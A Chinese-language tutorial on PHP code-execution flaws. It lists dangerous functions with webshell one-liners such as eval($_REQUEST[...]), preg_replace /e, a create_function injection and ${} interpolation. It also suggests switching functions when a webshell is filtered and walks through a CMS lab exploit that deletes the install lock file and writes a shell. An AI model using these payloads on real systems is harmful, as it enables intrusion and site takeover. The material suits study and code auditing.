[TOC]
代码执行漏洞
代码执行漏洞原理
用户输入的数据被当作后端代码进行执行。
RCE
RCE(remote command/code execute)远程命令或代码执行。
现在因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都数据RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以数据RCE。
造成代码执行函数解析
- 以后可以代码审计,锁定这些危险函数去找漏洞;
- 如果你们的一句话木马被查杀了或者过滤了,那么可以尝试替代。
在PHP中存在诸多函数可以做到代码执行。
1、eval($a);
// 可多行执行
eval
是代码执行用的最多的,他可以多行执行eval($_REQUEST['a'])
2、assert($a);
// 只能单行执行
assert($_REQUEST['a'])
虽然只能执行单行,但是我们可以通过file_put_contents()
写一个替代执行的文件出来进行代码执行即可!
3、preg_replace()
preg_replace(匹配的部分,满足匹配后替换,需要进行匹配的字符串)
preg_replace('/a/e',$_GET[8],'abc')
当需要配置的部分加上e
修饰符以后,满足匹配后替换的部分会被当作代码执行!
注意:
- 这里会固定报错,告诉你不建议你使用
/e
修饰符; - 替换必须把真实发生才会触发函数,不发生替换,不会触发。
4、create_function()
# 定义后又调用了
<?php
$a=create_function('$id',$_REQUEST[8])
echo $a('abcde')
?>
# 定义后未调用
//直接传入 8=}phpinfo();//
} 符号用于闭合函数,然后执行phpinfo(),后面的//注释后面的原函数的}
5、array_map()
回调函数,调用某个函数。
<?php
function cube($n)
{
return ($n*$n*$n);
}
$a = [1,2,3];
$b = array_map('cube',$a); //可以使用自定义函数或自带函数,可以对列表,依次取出执行函数
#$b = array_map('phpinfo',$a);
#$b = array_map('assert',$_REQUEST);
#$b = array_map($_REQUEST[1],$_REQUEST[2]);
#$b = array_map($_REQUEST[1],arry($_REQUEST[2]);
?>
6、特殊组合(二次组合利用,文件删除+代码执行)
// 先删除CMS的安装锁文件,然后重新安装设置username是否可以利用双引号字符串,造成代码执行漏洞!
$b="${phpinfo()}"
$b="${eval($_REQUEST[8])}"
// PHP版本5.5及以上可以使用,在字符串里面使用 ${},里面内容可以被当作代码执行!
PHP版本5.5及以上可以使用,在字符串下面使用 "${phpinfo()}"
!,该字符串中phpinfo()会被当作代码执行!,注意PHP版本!
CMS安装的本质,把原始数据写入数据库!
靶场实战
1.本地安装CMS
2.由于是个CMS,通过代码审计得到可能存在问题的点
由于CMS,判断安装与否都是通过一个.lock
文件进行判断时候安装过!,所以我们可以通过unlink
尝试能否删除该.locak
文件。
3.判断问题
同时由该处可以得知,删除时得到的删除文件名是由于查询数据库得到的!
4.获取修改数据库该值的点
当前数据库的值!
5.抓包修改数据包,update该值
删除成功后,自动跳转到安装首页!
6.寻找安装写马漏洞
由于本地环境我的PHP版本过低!!!一直报错,还找了半天的问题,问题就是版本号过低不支持${}
。
线上靶场实战
1.靶场地址
http://59.63.200.79:24950/admin/mobile.php
2.修改数据库存储的logo文件字段
3.删除logo
lock文件删除后,跳转到安装首页!